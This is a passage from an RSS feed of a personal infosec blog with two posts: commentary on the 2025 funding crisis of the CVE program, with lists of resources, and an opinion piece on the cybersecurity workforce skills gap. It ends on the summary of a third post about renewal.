        <description>&lt;p&gt;The &lt;a href=&quot;https://cve.mitre.org&quot;&gt;CVE program&lt;/a&gt; is &lt;a href=&quot;https://www.theverge.com/news/649314/cve-mitre-funding-vulnerabilities-exposures-funding&quot;&gt;dying&lt;/a&gt;. &lt;em&gt;Damn&lt;/em&gt;. &lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;br /&gt;&lt;br /&gt;
What does this mean? What were CVEs (Common Vulnerabilities and Exposures) doin’ for us anyway? Are CVEs considered critical cybersecurity infrastructure? What are we gunna’ do now?! &lt;em&gt;Panic&lt;/em&gt;!! Read on for more hyper-composed and ever-well-researched analysis! (Plus, plenty of related resources, per usual.)&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;&lt;b&gt;Disclaimer&lt;/b&gt;: It&apos;s more than likely I get &lt;i&gt;something&lt;/i&gt; wrong in the analysis below. The situation is also very rapidly evolving. This is just my hot take on everything, and my perspective as someone who worked in the VM field for quite some time. Feel free to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;message&lt;/a&gt; me with any corrections! I reserve the right, and almost certainly will, return to this post and update it as I learn more. This is but a jumping off point!&lt;/div&gt;

&lt;h1 id=&quot;what-is-cve-all-about&quot;&gt;What is CVE All About?&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;, a quick primer on the &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/About/Overview&quot;&gt;CVE program&lt;/a&gt;&lt;/strong&gt;—from &lt;a href=&quot;https://www.cve.org&quot;&gt;CVE.org&lt;/a&gt;…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here’s an example of a single CVE record (for &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2014-6271&quot;&gt;CVE-2014-6271&lt;/a&gt;, &lt;em&gt;a.k.a.&lt;/em&gt; “ShellShock”)…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/shellshock-cve.png&quot; alt=&quot;CVE Record - Shellshock&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As you can see, CVE records contain a wealth of data for known vulnerabilities: publish dates, descriptions, product status(es), references to supporting materials, exploit PoC’s, and more. The idea is to have a CVE record for any and all CVEs under the sun. Useful &lt;em&gt;yeah&lt;/em&gt;? That’s about all I’ll cover about what the CVE program is here. For more info, just go check out &lt;a href=&quot;https://www.cve.org&quot;&gt;cve.org&lt;/a&gt; (or some of the other &lt;a href=&quot;#resources&quot;&gt;resources&lt;/a&gt; if / when cve.org &lt;em&gt;dies&lt;/em&gt; 💀).&lt;/p&gt;

&lt;h1 id=&quot;cve-in-practice&quot;&gt;CVE in Practice&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;So&lt;/em&gt;, how are CVEs used by the larger infosec industry? In many more ways than I’ll likely be able to cover here, but I want to touch on a few ways this information is embedded. Namely, in terms of vulnerability management and vulnerability scan-related operations.&lt;/p&gt;

&lt;p&gt;Here’s some basics on how CVE data &lt;a href=&quot;https://www.cve.org/About/Process#CVERecordLifecycle&quot;&gt;makes it’s way&lt;/a&gt; to &lt;em&gt;you&lt;/em&gt;, the infosec populace.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Vendor releases &lt;s&gt;crappy&lt;/s&gt; insecure software.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/ResourcesSupport/Resources#CVEIDRequestersVulnerabilityResearchers&quot;&gt;Vulnerabilty Researcher&lt;/a&gt; identifies vulnerabilities in said software and discloses it to vendor.&lt;/li&gt;
  &lt;li&gt;Vendors (often acting as official &lt;a href=&quot;https://www.cve.org/ProgramOrganization/CNAs&quot;&gt;CNAs&lt;/a&gt;) assign CVE IDs to vulnerabilities and publish CVE records.&lt;/li&gt;
  &lt;li&gt;CVE.org aggregates and publishes vulnerability records via a centralized database.&lt;/li&gt;
  &lt;li&gt;Consumers of this data ingest newly published vulnerability records. (e.g. network/endpoint scanning vendors)&lt;/li&gt;
  &lt;li&gt;Corporate IT Security teams run said scanning tools.&lt;/li&gt;
  &lt;li&gt;Along the way, &lt;a href=&quot;https://www.cve.org/Media/News/item/podcast/2021/09/07/CVE-Working-Groups-What-They&quot;&gt;CVE Working Groups&lt;/a&gt; help improve CVE-related processes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To put simply, scanning tools are able to identify vulnerabilities because CVE records contain valuable software and version information. These tools can compare known versions of installed software with the database of vulnerabilities that tell us what sofware+versions are affected / vulnerable. So, without CVE data, vulnerability scanning fidelity craters.&lt;/p&gt;

&lt;p&gt;There is a lot of other infosec / vulnerability-related infrastructure that relies on the CVE program as a dependency. &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities&quot;&gt;CISA’s KEV&lt;/a&gt; is one example. I’ve got to think that many threat intelligence sources also leverage a lot of CVE data too.&lt;/p&gt;

&lt;p&gt;None of this sounds great so far. So what’s &lt;a href=&quot;#now-what&quot;&gt;next&lt;/a&gt;?&lt;/p&gt;

&lt;h1 id=&quot;now-what&quot;&gt;Now What?&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Well&lt;/em&gt;, first of all, CVE is pretty important for a lot of things, so it looks like CISA has found a way to keep it afloat for now. &lt;sup id=&quot;fnref:1:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;There’s a lot of potential scenarios whereby CVE as we know it today just sticks around and keeps hummin’ along as it has. The government could come to its senses (&lt;em&gt;lol&lt;/em&gt;), or it could find funding &lt;a href=&quot;#alternative-funding&quot;&gt;elsewhere&lt;/a&gt;. I don’t know how much it costs to run that whole operation, but it can’t be much compared to the revenue some of these companies that rely on it bring in.&lt;/p&gt;

&lt;p&gt;Some have started to argue that the loss of CVE could actually &lt;a href=&quot;https://mastodon.social/@Viss/114345116639490856&quot;&gt;help&lt;/a&gt; the industry, and that the CVE model had &lt;a href=&quot;https://chaos.social/@nblr/114344515800494826&quot;&gt;run its natural course&lt;/a&gt;. Maybe they’re right?&lt;/p&gt;

&lt;p&gt;Even if CVE as we know it today keeps on keepin’ on, this should be a wakeup call for the world, and for IT and IT-security programs. What would it mean to have CVE vanish overnight? As it seemingly &lt;em&gt;almost&lt;/em&gt; did. Would this mean the death of &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; entirely? &lt;em&gt;I don’t think so&lt;/em&gt;. Would it mean that vulnerability scanners would be completely dead in the water? &lt;em&gt;Not exactly&lt;/em&gt;. Would we have any actionable vulnerability intelligence data without CVE? &lt;em&gt;I believe so&lt;/em&gt;. Would this cripple the infosec industry? &lt;em&gt;Nah.&lt;/em&gt; It’d be a gut punch for sure, but there’s some resiliency in play. Let me talk a bit about how VM programs and the larger scanning industry would need to adapt…&lt;/p&gt;

&lt;p&gt;The CVE program has done a lot to get us where we are, but I believe a lot of this infrastructure stays in-place regardless of what happens to cve.org itself. Vulnerability researchers are not staffed out of cve.org. So research can continue on as it always has. The vendors to which these researchers disclose vulnerabilities to also are unaffected. So vendors can continue to receive vuln disclosures and publish vulnerability data via their disclosure portals as they have been doing. The difference now is that there is no centralized repo by which all of these disparate vulnerability repos will be ingested. We can adapt to that it seems right? Scan vendors can go directly to these companies sites and pull vuln data in, and VM teams across the world can do the same. Not to trivialize the work it would take to fetch data in a decentralized manner, and then normalize all that data—but it’s all there!&lt;/p&gt;

&lt;p&gt;We as an industry may want to evaluate how hard-coded CVE data is into our regular operations, but I think we’d be fine without it in the worst case scenario. &lt;em&gt;Hell&lt;/em&gt;, lessening our reliance on CVE could actually help &lt;em&gt;improve&lt;/em&gt; security in some ways if it meant doing less “baseline” security and more critical thinking 🤔.&lt;/p&gt;

&lt;h3 id=&quot;alternative-funding&quot;&gt;Alternative Funding&lt;/h3&gt;

&lt;p&gt;In light of the precacious funding situation of the CVE program, here’s some ideas on how else it could be funded…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The &lt;a href=&quot;https://www.thecvefoundation.org&quot;&gt;CVE Foundation&lt;/a&gt; was just launched to “Secure the Future of the CVE Program”. It was founded by a coalition of CVE Board members. More to come from them…&lt;/li&gt;
  &lt;li&gt;Given how many vulnerabilities are present in Adobe, Oracle and Microsoft products, maybe they should help support CVE! 😅&lt;/li&gt;
  &lt;li&gt;So much of the infosec vendor industry is reliant on CVE. It seems like they could put their heads (and wallets) together to help sustain CVE. Looking at you Tenable, Qualys, Rapid7, &lt;em&gt;et al.&lt;/em&gt; 👀&lt;/li&gt;
  &lt;li&gt;Other governments have already started to step up to fill the gap. Check out &lt;a href=&quot;https://euvd.enisa.europa.eu&quot;&gt;ENISA&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;vulnerabilty-catalogs&quot;&gt;Vulnerabilty Catalogs&lt;/h3&gt;

&lt;p&gt;I’ve long maintained a comprehensive list of &lt;a href=&quot;https://shellsharks.com/infosec-tools#vulnerability-catalogs--tools&quot;&gt;Vulnerability Catalogs&lt;/a&gt;. Not all of these are one-for-one replacements for CVE.org, but it goes to show that vulnerability intelligence would still exist and other vulnerability databases are there to pick up the slack.&lt;/p&gt;

&lt;h1 id=&quot;other-questions&quot;&gt;Other Questions&lt;/h1&gt;
&lt;p&gt;Some other related questions pertaining to this whole CVE potentially going-away debacle…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;The suddenness of this whole situation is quite alarming. Given the importance of CVE, how was it that alarm bells only started going off literally the day before the entire site would have been shut down? I know things are crazy and volatiile in the government funding world right now, but &lt;em&gt;yikes&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/cisa-extends-funding-to-ensure-no-lapse-in-critical-cve-services/&quot;&gt;extended funding&lt;/a&gt; is from CISA. The same CISA that has been under threat by the current administration. What’s to stop this same admin from pulling CISA funding or otherwise undercutting this latest effort to keep CVE on life support?&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;memes&quot;&gt;Memes&lt;/h1&gt;

&lt;p&gt;The hottest CVE meltdown memes, collected and made available here for you.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://abyssdomain.expert/@filippo/114347494824262191&quot;&gt;The Monkey Paw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastodon.social/@hrbrmstr/114347675250459406&quot;&gt;Brace yourself—here come the CNAs!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malici.ous.computer/@shellsharks/statuses/01JRY94ECSSC9AMHEDKJBX6T5P&quot;&gt;How are you feeling?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@cR0w/114345595474717367&quot;&gt;cve.vibe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@jerry/114348156359307582&quot;&gt;The shared google sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-toolbox&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://falling-anvil.com/sve/&quot;&gt;SVE Submission Form&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@reverseics/114349689933024015&quot;&gt;When the CVE Rapture comes…&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;news&quot;&gt;News&lt;/h1&gt;

&lt;p&gt;Journalist and news organization publications:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.schneier.com/blog/archives/2025/04/cve-program-almost-unfunded.html&quot;&gt;Schneier on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://krebsonsecurity.com/2025/04/funding-expires-for-key-cyber-vulnerability-database/&quot;&gt;KrebsOnSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.runzero.com/blog/cve-marches-on/&quot;&gt;runZero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wired.com/story/cve-program-cisa-funding-chaos/&quot;&gt;Wired&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shostack.org/blog/thoughts-on-cve/&quot;&gt;Shostack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://observer.com/2025/04/cybersecurity-crisis-unfolds-as-trump-cuts-cve-and-russians-hack-doge/&quot;&gt;John R. Schindler | Observer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://censys.com/blog/now-you-cve-now-you-dont-how-the-cve-program-nearly-went-dark&quot;&gt;Censys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.databreachtoday.com/blogs/seeking-post-mitre-management-whats-next-for-cve-program-p-3858&quot;&gt;Data Breach Today&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theregister.com/2025/04/18/splintering_cve_bug_tracking/&quot;&gt;The Register&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;resources&quot;&gt;Resources&lt;/h1&gt;

&lt;p&gt;Other resources, posts, discussion and info related to this whole mess.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@briankrebs/114343835430587973&quot;&gt;Brian Krebs initial post about the CVE database going offline&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@adulau/114346853273968549&quot;&gt;Launch announcement for GCVE.eu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/MITRE-Cyber-Security-CVE-Database/mitre-cve-database&quot;&gt;MITRE CVE Database&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.yossarian.net/2024/03/20/More-thoughts-on-vulnerabilities-and-misaligned-incentives&quot;&gt;More thoughts on vulnerabilities and misaligned incentives&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.usaspending.gov/award/CONT_AWD_70RCSJ24FR0000018_7001_70RSAT20D00000001_7001&quot;&gt;CVE extension to March 16th 2026&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fosstodon.org/@bsdphk/114346662385723066&quot;&gt;MITRE’s CVE register was a prototype&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@adamshostack/114348695121106664&quot;&gt;The value of “concordance”&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://social.treehouse.systems/@ariadne/114348781382302482&quot;&gt;Decentralized replacement to CVE using linked data&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vx-underground.org/Archive/CVE&quot;&gt;vx underground CVE archive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensourcesecurity.io/2025/04-can-we-trust-cve/&quot;&gt;Can we trust CVE?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gavinhoward.com/2025/04/replacing-cve/&quot;&gt;Replacing CVE&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/cisa-extends-funding-to-ensure-no-lapse-in-critical-cve-services/&quot;&gt;No lapse in critical CVE services&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt; &lt;a href=&quot;#fnref:1:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Wed, 16 Apr 2025 10:52:00 -0400</pubDate>
        <link>https://shellsharks.com/the-death-of-cve</link>
        <guid isPermaLink="true">https://shellsharks.com/the-death-of-cve</guid>
        
        <category>infosec</category>
        
        <category>vm</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>The Cybersecurity Workforce Crisis</title>
        <shark:summary><p>Much digital ink has been spilt on the plight of the cybersecurity workforce. Is there a talent shortage? A skills gap? <em>Other</em>, darker issues? Here’s what I think…</p>
</shark:summary>
        <description>&lt;p&gt;Much digital ink has been spilt on the plight of the cybersecurity workforce. Is there a talent shortage? A skills gap? &lt;em&gt;Other&lt;/em&gt;, darker issues? Here’s what I think…&lt;/p&gt;

&lt;h2 id=&quot;the-talent-shortage&quot;&gt;The “Talent Shortage”&lt;/h2&gt;

&lt;p&gt;First, some back story… When I was &lt;a href=&quot;https://shellsharks.com/training-retrospective#my-education-journey&quot;&gt;getting started&lt;/a&gt; in infosec, back in 2010-&lt;em&gt;ish&lt;/em&gt;, I remember the on-radio campaigns which spoke of endless opportunity in the up-and-coming “cybersecurity” field. Over time, the messaging became that of a severe &lt;em&gt;shortage&lt;/em&gt; of people to staff in these roles. Even back then though, despite all the claims of a “shortage”, &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#fundamental-information-security-domains&quot;&gt;getting an actual infosec job&lt;/a&gt; wasn’t easy—even for someone with a relevant degree and a few certifications. In the years since, interest in cybersecurity as a profession has surged. You can thank the above-average pay, remote work, and other intrinsic &lt;a href=&quot;https://shellsharks.com/notes/2025/03/02/thoughts-on-a-career-in-infosec&quot;&gt;benefits&lt;/a&gt; I suppose. These days, you could argue that we’ve hit some level of saturation, especially in the entry- and junior-level ranks. This is evidenced by the countless stories of aspiring infosec pros who go months on end, applying to 100’s of jobs and do countless interviews with nothing to show for it. Mind you, these are more often than not, individuals who have 4-year degrees, who have &lt;em&gt;multiple&lt;/em&gt; certifications, and who have done &lt;a href=&quot;https://shellsharks.com/cyber-clout&quot;&gt;many other things&lt;/a&gt; to prepare and boost their qualifications to best pitch themselves for mere entry-level roles. To me, I think this contradicts the theory that there is some sort of talent (&lt;em&gt;pool&lt;/em&gt;) shortage. We’ve got plenty of people interested—raw and unrefined—but there, ready to get to work. So the question is then, if the &lt;strong&gt;cybersecurity workforce crisis&lt;/strong&gt; &lt;a href=&quot;https://shellsharks.com/notes/2024/04/02/the-current-infosec-job-market&quot;&gt;isn’t one&lt;/a&gt; of a talent shortage, what is the issue? Does the existing and aspiring workforce suffer from a “&lt;a href=&quot;#the-skills-gap&quot;&gt;skills gap&lt;/a&gt;”? To this, I think the answer is a resounding “yes”, but maybe not for all the reasons you might believe…&lt;/p&gt;

&lt;h2 id=&quot;the-skills-gap&quot;&gt;The “Skills Gap”&lt;/h2&gt;

&lt;p&gt;As I’ve already stated, even the entry-level aspirants and lucky &lt;em&gt;receivers-of-jobs&lt;/em&gt; these days almost uniformly have 4-year degrees, one or more certifications, and plenty of other worthy accomplishments. Yet, this has not seemed to make a meaningful dent in the aforementioned “skills gap”. Consider now the slightly more tenured infosec pro. One who (if fortunate enough) not only has a few years of “experience” but also may have attended several trainings at this point and could then hold multiple certifications. Likely, many of those certs are from vendors like SANS, ISC&lt;sup&gt;2&lt;/sup&gt; and EC-Council. Yet again, the skill deficiencies persist. How is it that we have so many college-educated, multi-cert wielding, many-a-year-on-the-job-having infosec pros still having so little to show when it comes to real-world, applicable infosec skills and know-how? Let’s play the blame game…&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;h3 id=&quot;weak-blames&quot;&gt;Weak Blames&lt;/h3&gt;

&lt;p&gt;One of my &lt;em&gt;weaker&lt;/em&gt; blames is that of &lt;strong&gt;training budgets&lt;/strong&gt;. I think a lot of companies, and thus the industry as a whole, do an abysmal job providing adequate time and budget to train their infosec workforce. But, as you’ll see in a minute, &lt;em&gt;access&lt;/em&gt; to what passes as “training” is hardly the problem, as the training, even if made SUPER-available, is just not closing the &lt;a href=&quot;#the-skills-gap&quot;&gt;skills gap&lt;/a&gt; anyway.&lt;/p&gt;

&lt;h3 id=&quot;strong-blames&quot;&gt;Strong Blames&lt;/h3&gt;

&lt;p&gt;My &lt;u&gt;stronger&lt;/u&gt; blames lie with the tenured infosec community, the cybersecurity vendors, and corporate infosec programs themselves. Let’s start with the grizzled veterans of infosec—the folks &lt;em&gt;with&lt;/em&gt; the skills. First, I want to point my finger there. There is real opportunity for mentorship, but I think as a whole, we have failed to build these bridges. We grumble and complain about “script-kiddies”, and “paper tigers” and &lt;em&gt;whatever&lt;/em&gt;, but do we take the time to mentor and train? &lt;em&gt;Nah&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Now let’s talk about what it means to get “experience” in infosec. I think overwhelmingly, infosec professionals are put on rails with respect to their job responsibilities. Here’s some tools you are expected to know how to operate, but not expected to know how they work under the hood. Here’s a &lt;em&gt;framework&lt;/em&gt; you are expected to audit your IT program or business against. Here’s your corporate, technical “swim lane”, that you must operate within, and never stray outside of. &lt;em&gt;That sorta thing&lt;/em&gt;. I don’t think infosec tools are inherently “bad”, or useless in terms of providing value or reducing risk, but as you can tell from the state of cybersecurity in the world, they are in no way the silver bullet. We continue to have breach after breach, security failure after security failure due to infosec 101 type-of-stuff—stuff the &lt;em&gt;tools&lt;/em&gt; are not stopping. These companies &lt;em&gt;have&lt;/em&gt; tools. We &lt;em&gt;have&lt;/em&gt; personnel that operate them. &lt;u&gt;That&lt;/u&gt; (buying and running tools), if anything, is what we’ve become good at. But it clearly isn’t enough! The infosec industry, we as engineers, were never meant to be exclusively put behind the limited capabilities of these tools. What if we could do something different? Like, look at these problems and come up with practical solutions based on a found understanding of infosec principles.&lt;/p&gt;

&lt;p&gt;But herein lies the problem. The modern infosec “pro” is no longer conditioned to solve ad-hoc problems, or problems of complexity. We’ve been on rails too long. If the tool can’t solve it, how could we? If it’s not one of the &lt;em&gt;exact&lt;/em&gt; usecases covered in the Day 4 lab of our latest SANS course, what’re we supposed to do about it! If it doesn’t fit neatly into one of our precious CISSP knowledge domains then &lt;em&gt;oh no&lt;/em&gt;! We’ve lost our way, and with it, we’ve abstracted too much of the &lt;em&gt;basics&lt;/em&gt;, the real &lt;em&gt;engineering&lt;/em&gt; away. It should be expected that all infosec pros are able to do some relatively basic stuff—across operating systems, with standard networking protocols, with industry-standard, open-source tooling. We should be able to hack together basic scripts to do simple things. We should understand the tech stack and supporting protocols of any run-of-the-mill web application. But can you really say that even 20% of infosec “professionals” know these things? &lt;em&gt;I’d say not&lt;/em&gt;. But I sure as hell would bet that each of us know one or more enterprise tools super-duper good. How many infosec folks out there can operate Splunk with medium-to-advanced proficiency but can’t actually pull and decipher a packet capture? How many VM analysts can pull off all sorts of wizardry with Tenable, but couldn’t practically exploit a real vulnerability? We’ve become too reliant on tools, and we’ve creatively and technically boxed in our security workforce as a result.&lt;/p&gt;

&lt;p&gt;Training vendors aren’t closing the &lt;a href=&quot;#the-skills-gap&quot;&gt;skills gap&lt;/a&gt;. “Work experience” is not closing the skills gap. Those of us &lt;em&gt;with&lt;/em&gt; useful knowlege, and wisdom to share, are not helping to close the skills gap. The skills gap is real my friends, and there is blame to go ‘round.&lt;/p&gt;

&lt;h2 id=&quot;just-look-at-me&quot;&gt;Just Look At Me&lt;/h2&gt;

&lt;p&gt;I feel I can speak on this topic because I’m a product of it. Get this cert. Get that cert. Use this tool. Use that tool. Getting certs and knowing how to use tools has been &lt;em&gt;pretty great&lt;/em&gt; for my career, but what have I &lt;em&gt;learned&lt;/em&gt;? Have I really advanced my &lt;em&gt;knowledge&lt;/em&gt;? The issue with so many “trainings” these days too is that they don’t teach core concepts. They don’t cover &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#fundamental-information-security-domains&quot;&gt;fundamentals&lt;/a&gt;. They like to focus on the shiny things. The abstractions. The tools. The practical, yet hyper-specific usecases. They hold your hand through exercises and labs, giving you a false sense of know-how, but when you are turned loose in a real-world, corporate setting, you are left wondering “what do I do?”. That’s if you even get a chance to use what limited skills you may have picked up in training on the job. For most, I feel like they’ll go get training for something, and then return back to their routine daily job responsibilities, which require no practical usage of what they had learned in training. So that knowledge, when not practiced, will fade away. Plus, we’ve all just been conditioned to pick up certs, and put fancy letters in our email signatures and LinkedIn bios, entirely discounting the &lt;a href=&quot;https://shellsharks.com/notes/2023/11/14/stop-worrying-about-certification-paths&quot;&gt;journey&lt;/a&gt; that got us there. Get a cert, get a better job. Rinse and repeat.&lt;/p&gt;

&lt;h2 id=&quot;lets-adapt&quot;&gt;Let’s Adapt&lt;/h2&gt;

&lt;p&gt;We need to adapt. Let’s open up the cyber-swim-lanes. Let’s establish lines of mentorship from professional generation to professional generation. Let’s build training into our corporate culture and then give professionals the space to practice it, to operate with creative license, to solve problems—not with &lt;em&gt;tools&lt;/em&gt;, but through the application of &lt;em&gt;actual&lt;/em&gt; security fundamentals. I mean we all learn it. It’s really not arcane magic. We all have the “CIA Triad” etched into our cyber-brainz. We can all &lt;em&gt;do&lt;/em&gt; a risk assessment—we just have become so vendor-tool-addled and compliance-pilled that we’ve forgotten how to look at things holistically, do actual root-cause analysis, troubleshoot at a low level—really &lt;em&gt;solve&lt;/em&gt; issues, in the bespoke and tailored manner in which we otherwise could. The answer to your next cybersecurity issue shouldn’t immediately be a phone call to &amp;lt;INSERT VENDOR NAME&amp;gt; to add-on another paid module in some tool. What if instead, you engaged your cybersecurity workforce, and I mean the actual engineers, not the “cyber leadership”, and asked, “how do we solve this problem”? Then, give them the space to actually &lt;em&gt;do it&lt;/em&gt;. I’ve seen it work—&lt;em&gt;honestly&lt;/em&gt;, I have. The knock-on effects can be wondrous too. Save money on tooling subscriptions, have a more engaged infosec team, &lt;em&gt;actually&lt;/em&gt; reduce risk, build a real culture of engineering, &lt;em&gt;that sorta thing&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I don’t want to trivialize the difficult nature of the infosec industry at large. If things were &lt;em&gt;so easy&lt;/em&gt;, I imagine it would have been solved—&lt;em&gt;right?&lt;/em&gt; But I think it’s safe to say that a crisis &lt;em&gt;does&lt;/em&gt; exist. It’s also fair to say that the way we’ve been doing things just isn’t working. More SANS training isn’t bridging the gap (&lt;em&gt;no offense SANS!&lt;/em&gt;). More team charters and vendor tools hasn’t bridged the gap. It’s time to do things differently.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Look&lt;/em&gt;, maybe it’s just me. Maybe I’m just projecting my own &lt;a href=&quot;https://shellsharks.com/notes/2025/03/08/career-mistakes&quot;&gt;shortcomings&lt;/a&gt;. Not everyone suffers the same, and not every company has the same all-around deficiencies. This is just the way I see things. Looking “across the industry” though, I’m seeing some of the same patterns, and I don’t think I’m terribly far off.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://www.sans.org/press/announcements/new-sans-report-finds-cyber-talent-crisis-isnt-about-headcount-about-skills/&quot;&gt;New SANS Report Finds Cyber Talent Crisis Isn’t About Headcount. It’s About Skills.&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Tue, 15 Apr 2025 21:42:00 -0400</pubDate>
        <link>https://shellsharks.com/cybersecurity-workforce-crisis</link>
        <guid isPermaLink="true">https://shellsharks.com/cybersecurity-workforce-crisis</guid>
        
        <category>infosec</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Renewal</title>
        <shark:summary><p>This month I’ve decided to participate in my <u>first</u> <a href="https://indieweb.org/IndieWeb_Carnival">IndieWeb Carnival</a>—a once-a-month writing prompt organized by the <a href="https://indieweb.org/">IndieWeb.org</a> community. This month’s prompt is “<strong>Renewal</strong>”, hosted by <a href="https://www.thingelstad.com/about/">Jamie Thingelstad</a>.
<br /><br />
There’s a lot on my mind lately in regards to this term—“Renewal”. I recently moved into a new house and with it I have a yard. The yard has a lot of plants and trees that are now flowering—cherry blossom, red bud, skip laurel, rhododendron and more! This is my first spring here so it has been fun to see what bloomed, and given me an opportunity to learn more about these plants.</p>
</shark:summary>
